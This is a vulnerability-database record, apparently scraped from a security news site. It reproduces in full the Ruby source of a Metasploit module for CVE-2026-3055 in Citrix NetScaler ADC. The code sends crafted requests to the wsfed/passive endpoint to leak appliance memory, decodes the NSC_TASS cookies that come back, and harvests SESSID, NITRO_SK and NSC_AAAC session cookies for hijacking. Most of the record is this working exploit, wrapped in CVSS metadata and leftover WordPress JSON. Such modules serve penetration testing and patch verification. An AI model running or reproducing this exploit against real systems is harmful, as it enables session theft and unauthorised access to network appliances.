{“lastseen”:”2026-05-20T19:28:01″,”description”:”This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory from a target Citrix ADC server configured as a SAML IdP. The leaked memory is then scanned for session cookies which can be hijacked if found. Module…”,”published”:”2026-05-20T18:58:09″,”modified”:”2026-05-20T18:58:09″,”type”:”metasploit”,”title”:”Citrix ADC (NetScaler) CVE-2026-3055 Scanner”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-SCANNER-HTTP-CITRIX_NETSCALER_CVE_2026_3055-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-3055″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Scanner\\n include Msf::Auxiliary::Report\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Citrix ADC (NetScaler) CVE-2026-3055 Scanner’,\\n ‘Description’ =\\u003e %q{\\n This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory from a\\n target Citrix ADC server configured as a SAML IdP. The leaked memory is then scanned for session cookies\\n which can be hijacked if found.\\n },\\n ‘Author’ =\\u003e [\\n ‘watchTowr’, # Original technical analysis and PoC for CVE-2026-3055\\n ‘sfewer-r7’ # Metasploit module for CVE-2026-3055, based on the watchTowr PoC and Spencer McIntyre’s module for CVE-2023-4966.\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-3055’],\\n [‘URL’, ‘https:\/\/labs.watchtowr.com\/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread\/’],\\n [‘URL’, ‘https:\/\/labs.watchtowr.com\/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2\/’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2026-03-23’,\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [],\\n ‘SideEffects’ =\\u003e []\\n },\\n ‘DefaultOptions’ =\\u003e { ‘RPORT’ =\\u003e 443, ‘SSL’ =\\u003e true }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’]),\\n OptInt.new(‘LEAK_REQUEST_COUNT’, [true, ‘The number of HTTP requests per host to try and leak data when exploiting the vulnerability’, 4096]),\\n OptInt.new(‘CHECK_REQUEST_COUNT’, [true, ‘The maximum number of HTTP requests per host to try and leak data when checking for the vulnerability’, 4]),\\n ]\\n )\\n end\\n\\n def check_host(_target_host)\\n datastore[‘CHECK_REQUEST_COUNT’].times do\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘wsfed’, ‘passive’),\\n ‘headers’ =\\u003e {\\n ‘Host’ =\\u003e Rex::Text.rand_text_alpha(128)\\n },\\n ‘vars_get’ =\\u003e {\\n ‘wctx’ =\\u003e nil\\n }\\n )\\n\\n return Exploit::CheckCode::Unknown(‘Connection failed’) unless res\\n\\n # If has been observed that some requests generate a 200 response for a SAML error. We can continue\\n # trying to leak data rather than bail out early.\\n next if res.code == 200 \\u0026\\u0026 res.body == ‘Undefined SAML error’\\n\\n return Exploit::CheckCode::Unknown(\\”Unexpected response code #{res.code}\\”) unless res.code == 302\\n\\n cookies = res.get_cookies\\n\\n # A patched system will not return any cookie values.\\n return Exploit::CheckCode::Safe(‘Response has no cookies’) if cookies.empty?\\n\\n return Exploit::CheckCode::Safe(‘Response has no NSC_TASS cookie’) unless cookies.include? ‘NSC_TASS=’\\n\\n # We report vulnerable, as by here an unpatched system will be leaking memory in the NSC_TASS cookie, while\\n # a patched system will not return any cookies at all.\\n report_vuln\\n\\n return Exploit::CheckCode::Vulnerable(‘Response contains an NSC_TASS cookie.’)\\n end\\n\\n Exploit::CheckCode::Unknown\\n end\\n\\n def run_host(_target_host)\\n # We track the number of bytes we leak to report back to the user and help determine if we triggered the vuln or not.\\n leaked_data_count = 0\\n\\n # We use a set to track the unique leaked cookies, so we don’t report leaking the same cookie numerous times.\\n found_cookies = Set.new\\n\\n # As we cannot control what we leak, we hit the vuln up to LEAK_REQUEST_COUNT times and hope that we leak\\n # something useful during one of those attempts.\\n datastore[‘LEAK_REQUEST_COUNT’].times do\\n # Trigger CVE-2026-3055…\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘wsfed’, ‘passive’),\\n ‘headers’ =\\u003e {\\n ‘Host’ =\\u003e Rex::Text.rand_text_alpha(128)\\n },\\n ‘vars_get’ =\\u003e {\\n ‘wctx’ =\\u003e nil\\n }\\n )\\n\\n # Bail out early if the connection fails for this host\\n unless res\\n vprint_error(\\”#{peer} – Connection failed\\”)\\n break\\n end\\n\\n # A vulnerable host will return 302, but may occasionally return a 200 error, we test for this and keep\\n # going if we see the 200 error, otherwise we bail out early.\\n unless res.code == 302\\n vprint_error(\\”#{peer} – Unexpected response code #{res.code}\\”)\\n\\n # If has been observed that some requests generate a 200 response for a SAML error. We can continue\\n # trying to leak data rather than bail out early.\\n next if res.code == 200 \\u0026\\u0026 res.body == ‘Undefined SAML error’\\n\\n break\\n end\\n\\n # The leaked data comes back to us in a Set-Cookie header, so we bail out early if no cookies are returned.\\n # This will handle a patched appliance.\\n # Note: A patched system will not return any cookie values.\\n cookies = res.get_cookies\\n if cookies.empty?\\n vprint_error(\\”#{peer} – Response has no cookies\\”)\\n break\\n end\\n\\n # For every cookie returned, iterate over its key value pair and look for the NSC_TASS cookies which will\\n # contain the leaked memory (base64 encoded)\\n key_vals = cookies.scan(\/\\\\s?([^, ;]+?)=([^, ;]*?)[;,]\/)\\n\\n key_vals.each do |k, v|\\n next unless k == ‘NSC_TASS’\\n\\n # Validate an NSC_TASS cookie value is well-formed base64 before attempting to decode it.\\n unless v.match?(%r{\\\\A[A-Za-z0-9+\/]+={0,2}\\\\z})\\n vprint_error(\\”#{peer} – NSC_TASS cookie value is not valid base64: #{v}\\”)\\n next\\n end\\n\\n bytes = Rex::Text.decode_base64(v)\\n\\n leaked_data_count += bytes.bytesize\\n\\n # Detect the SESSID and optional NITRO_SK cookie pair. The SESSID value is a hex string, while the NITRO_SK\\n # value is URL-encoded base64. The two cookies may appear in either order in the leaked data. These cookies\\n # are from the management interface. Note, the management interface may or may not be bound to the same RHOST IP\\n # address we are targeting, that depends on the appliance configuration. We can still leak it as its all in\\n # memory either way, but we may not be able to reuse it if we cant access the management interface.\\n bytes.scan(\/SESSID=([0-9a-f]{32})\/i).each do |match|\\n sessid_value = match.first\\n\\n next if found_cookies.include?(\\”SESSID=#{sessid_value}\\”)\\n\\n found_cookies.add(\\”SESSID=#{sessid_value}\\”)\\n\\n nitro_sk_match = bytes.match(\/NITRO_SK=([^\\\\s;,]+)\/i)\\n\\n if nitro_sk_match\\n nitro_sk_value = nitro_sk_match[1]\\n\\n print_good(\\”#{peer} – Leaked cookie pair: SESSID=#{sessid_value}; NITRO_SK=#{nitro_sk_value}\\”)\\n else\\n print_good(\\”#{peer} – Leaked cookie: SESSID=#{sessid_value}\\”)\\n end\\n end\\n\\n # Detect NSC_AAAC cookies independently of the SESSID\/NITRO_SK pair.\\n bytes.scan(\/NSC_AAAC=([0-9a-f]{32,64})\/i).each do |match|\\n nsc_aaac_value = match.first\\n\\n next if found_cookies.include?(\\”NSC_AAAC=#{nsc_aaac_value}\\”)\\n\\n found_cookies.add(\\”NSC_AAAC=#{nsc_aaac_value}\\”)\\n\\n print_good(\\”#{peer} – Leaked cookie: NSC_AAAC=#{nsc_aaac_value}\\”)\\n end\\n end\\n rescue Errno::ECONNRESET\\n # It was observed that the server may reset the connection when activity on the management interface is occurring.\\n vprint_warning(\\”#{peer} – Connection reset\\”)\\n end\\n\\n if leaked_data_count \\u003e 0\\n message = \\”The target is vulnerable. Leaked #{leaked_data_count} bytes\\”\\n if found_cookies.empty?\\n message += ‘, but did not leak any session cookies.’\\n else\\n cookie_word = found_cookies.size == 1 ? ‘session cookie’ : ‘session cookies’\\n message += \\”, and #{found_cookies.size} unique #{cookie_word}.\\”\\n end\\n\\n print_status(\\”#{peer} – #{message}\\”)\\n\\n report_vuln\\n else\\n print_status(\\”#{peer} – The target does not appear vulnerable.\\”)\\n end\\n end\\n\\n def report_vuln\\n super(\\n host: rhost,\\n port: rport,\\n name: name,\\n refs: references\\n )\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/scanner\/http\/citrix_netscaler_cve_2026_3055.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/citrix_netscaler_cve_2026_3055\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-20T19:28:01″,”description”:”This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory from a target Citrix ADC server configured as a SAML…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-55898","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n